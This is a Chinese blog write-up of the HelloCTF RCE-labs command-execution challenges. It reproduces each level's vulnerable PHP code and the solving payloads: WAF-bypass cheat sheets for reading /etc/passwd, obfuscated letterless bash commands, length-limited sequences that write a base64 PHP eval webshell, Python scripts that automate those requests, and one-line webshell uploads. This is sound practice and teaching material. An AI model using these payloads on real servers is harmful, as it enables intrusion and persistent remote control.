忆昔子~
for me

RCE-labs

2025-05-19

level2

PHP代码执行函数

PHP中常见的命令执行函数与代码执行函数_命令执行类似eval的有那些函数-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP代码执行函数 ---

除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。

在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
//hello_ctf('echo', '$flag');
// 生成: echo($flag);
// 输出 flag 内容

function get_fun(){

$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
//随机选择一个函数并存入会话

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
//生成文本链接
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];
}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}

isset($_GET['action']) ? start($_GET['action']) : '';
1
2
3
4
5
Get
?action=submit
Post
content=system('ls /')
content=system('cat /flag')

level6

通配符匹配绕过

RCE通配符绕过-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

没有过滤a

通配符构造

1
2
?cmd=/???/?a? /??a?   (/bin/cat flag)

level7

1
2
3
4
5
6
7
8
9
10
11
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

1
?cmd=cat%09/f*

空格过滤

1
在bash下可以用`$IFS`、`${IFS}`、`$IFS$9`、`%09`、`<`、`>`、`<>`、`%2C`(例如 <code>{cat%2C%2Fetc%2Fpasswd}</code>)、空格或tab分隔符,与SQL注入类似,用`/**/`注释也能绕过。
  1. 内部字段分隔符(IFS) 绕过
1
2
3
4
5
6
7
# 标准空格
cat /etc/passwd

# 使用IFS变量替代
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat${IFS}$9/etc/passwd # $9是空参数

2.特殊字符替代

1
2
3
4
5
6
7
8
9
# 使用重定向符号
cat</etc/passwd
cat>file</etc/passwd

# 使用花括号(无空格)
{cat,/etc/passwd}

# 使用通配符(某些环境下)
cat/etc[/]passwd

3.编码绕过

1
2
3
4
5
6
# URL编码
cat%20/etc/passwd # %20=空格
cat%09/etc/passwd # %09=Tab

# 十六进制编码
cat$'\x20'/etc/passwd
  1. 注释绕过
1
2
cat/**//etc/passwd
cat/xxx/etc/passwd # 使用不存在的目录名

5.变量拼接

1
2
X=/etc/passwd;cat$X
cmd="cat /etc/passwd";$cmd

6.特殊符号组合

1
2
3
4
cat<<<$(</etc/passwd)
cat<<EOL
/etc/passwd
EOL

level8

文件描述和重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1

*/




function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

1
?cmd=cat /f* ||

分隔符

1
2
3
4
5
6
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
---->&的url编码为%26.使用&时必须进行编码,不然会被解析成传入参数间的分隔符

level9

bash终端的无字母命令执行_八进制转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php

*/




function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

$’\xxx’可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$’\xxx\xxx\xxx\xxx’的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如”ls -l”也就是$’\154\163\40\55\154’ 只能拆分为$’\154\163’ 空格 $’\55\154’三部分。

无字母rce

1
?cmd=$'\143\141\164' $'\057\146\154\141\147'

level10

bash终端的无字母命令执行_二进制整数替换

RCE-labs-练习(上) - F0T0ne - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/


function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

0,1没有被过滤,想到用二进制

使用 $((2#binary))格式,但是2被过滤了,1<<1得到2

套一层$(( ))—> $(($((1<<1))#binary))

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/

需要使用 $0 来充当 bash, 从而调用 bash 命令, 得以绕过WAF

详看RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)

1
2
3
4
5
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

url编码(对#进行编码)
$0<<<$0\<\<\<\$\'\\$(($((1<<1))%2310001111))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310100100))\\$(($((1<<1))%23101000))\\$(($((1<<1))%23111001))\\$(($((1<<1))%2310010010))\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310010011))\'

level11

bash终端的无字母命令执行_数字1的特殊变量替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;

highlight_file(__FILE__);


?>

$ 可以替换 1

1
2
3
4
5
6
用在线工具得到这个
cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\'

///exp.php index.php
cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

12环境打不开

level13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为 $(()) + 取反 构造任意数字

echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

1
2
3
4
5
6
7
在线工具
还需要url编码
__%3d%24(())%26%26%24%7b!__%7d%3c%3c%3c%24%7b!__%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24(())%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%27


__%3d%24(())%26%26%24%7b!__%7d%3c%3c%3c%24%7b!__%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24(())%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%27

level14

7字符RCE

7位可控字符下的任意命令执行-CSDN博客

1
2
3
4
5
6
7
8
9
10
if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}

highlight_file(__FILE__);

1,需要用到的基础知识

1
2
3
4
5
6
>a    #虽然没有输入但是会创建a这个文件
ls -t #ls基于基于事件排序(从晚到早)
sh a #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接 #l\ s = ls
base64 #使用base64编码避免特殊字符
执行命令时,可以在没有写完的命令后面加\,实现将一条命令多行化,以行末没有\为终止

需要写入的语句

1
2
3
4
5
6
<?php eval($_GET[1]);
base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7

执行语句
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

把内容输进去后

1
2
1.php?1=system('ls /');
1.php?1=system('cat /flag');

有脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests

url = "http://192.168.61.157/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

2,但是这个题阔以直接用通配符

1
2
?1=ls /
?1=cat /f*

level15

5字符rce

https://blog.csdn.net/q20010619/article/details/109206728

1
2
3
4
5
6
7
8
9
10
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

1,

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
>dir          > 列出目录
>f\> > 创建文件"f>"
>ht- > 创建文件"ht-"
>sl > 创建文件"sl"
*>v > 将所有文件(*)内容输出到文件"v"
>rev > 创建文件"rev"(暗示反向Shell)
*v>0 > 将所有以v结尾的文件内容输出到文件"0"
>a > 创建文件"a"
>hp > 创建文件"hp"
>p\\ > 创建文件"p\"
>1.\\ > 创建文件"1.\"
>\>\\ > 创建文件">\"
>-d\\ > 创建文件"-d\"
>\ \\ > 创建文件" \"
>64\\ > 创建文件"64\"
>se\\ > 创建文件"se\"
>ba\\ > 创建文件"ba\"
>\|\\ > 创建文件"|\"
>7\\ > 创建文件"7\"
>Sk\\ > 创建文件"Sk\"
>X\\ > 创建文件"X\"
>x\\ > 创建文件"x\"
>Fs\\ > 创建文件"Fs\"
>FV\\ > 创建文件"FV\"
>d\\ > 创建文件"d\"
>X0\\ > 创建文件"X0\"
>k\\ > 创建文件"k\"
>g\\ > 创建文件"g\"
>bC\\ > 创建文件"bC\"
>h\\ > 创建文件"h\"
>XZ\\ > 创建文件"XZ\"
>gZ\\ > 创建文件"gZ\"
>A\\ > 创建文件"A\"
>aH\\ > 创建文件"aH\"
>w\\ > 创建文件"w\"
>D9\\ > 创建文件"D9\"
>P\\ > 创建文件"P\"
>S}\\ > 创建文件"S}"
>IF\\ > 创建文件"IF\"
>{\\ > 创建文件"{\"
>\$\\ > 创建文件"$\"
>o\\ > 创建文件"o\"
>ch\\ > 创建文件"ch\"
>e\\ > 创建文件"e\"
sh 0 > 执行文件"0"作为shell脚本
sh f > 执行文件"f"作为shell脚本
ls -t>f的构造方法
1
2
3
4
5
6
7
8
>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht‐" "sl" > v )
>rev
*v>0 前面的*v等同于命令rev v,相当于将v中的文件内容倒了回来,变回:ls -th >f
然后将倒转后的内容写入文件0中,文件0中的内容为:ls -th >f
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
headers = {'User-Agent' : 'ccc'}
url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()),headers=headers)
## ## level17 ### PHP命令执行函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php 
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---

喵喵喵ww https://www.php.net/manual/zh/ref.exec.php

system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`

在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

}

function get_fun(){

$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];
}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>
| 命令 | 使用 | | | :-------------------------------------- | :---------------------------------------------------- | :----------------------- | | system | system('ls') | | | exec() | exec('ls', $result); print_r($result); | 无输出,结果保存在数组中 | | shell_exec() | echo shell_exec('ls'); | 无输出,返回字符串 | | `` | echo \cat /etc/passwd`;` | 同上 | | | passthru() | passthru('ls'); | 同ststem | | popen() | $result = popen('ls', 'r'); echo fread($result, 100); | 配合fread读取结果 |
1
2
3
4
5
Get
?action=submit
POST
content="cat /flag>1.txt","r"
访问1.txt
## level19 ## 文件写入导致的RCE [PHP: file_put_contents - Manual](https://www.php.net/manual/zh/function.file-put-contents.php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>
1
2
?c='shell.php','<?php @eval($_POST['a']); ?>'
蚁剑连接
## level20 ### 文件上传 上传一个写入一句话木马的php文件 蚁剑连接

Author: syifna

Link: http://syifna.github.io/2025/05/19/RCE-labs/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
sqli-labs
NextPost >
MD5
CATALOG
  1. 1. level2
    1. 1.1. PHP代码执行函数
  2. 2.
  3. 3. level6
    1. 3.1. 通配符匹配绕过
  4. 4. level7
    1. 4.1. 空格过滤
  5. 5. level8
    1. 5.1. 文件描述和重定向
      1. 5.1.1. 分隔符
  6. 6. level9
    1. 6.1. bash终端的无字母命令执行_八进制转义
  7. 7. level10
    1. 7.1. bash终端的无字母命令执行_二进制整数替换
  8. 8. level11
    1. 8.1. bash终端的无字母命令执行_数字1的特殊变量替换
  9. 9. level13
  10. 10. level14
    1. 10.1. 7字符RCE
  11. 11. level15
    1. 11.1. 5字符rce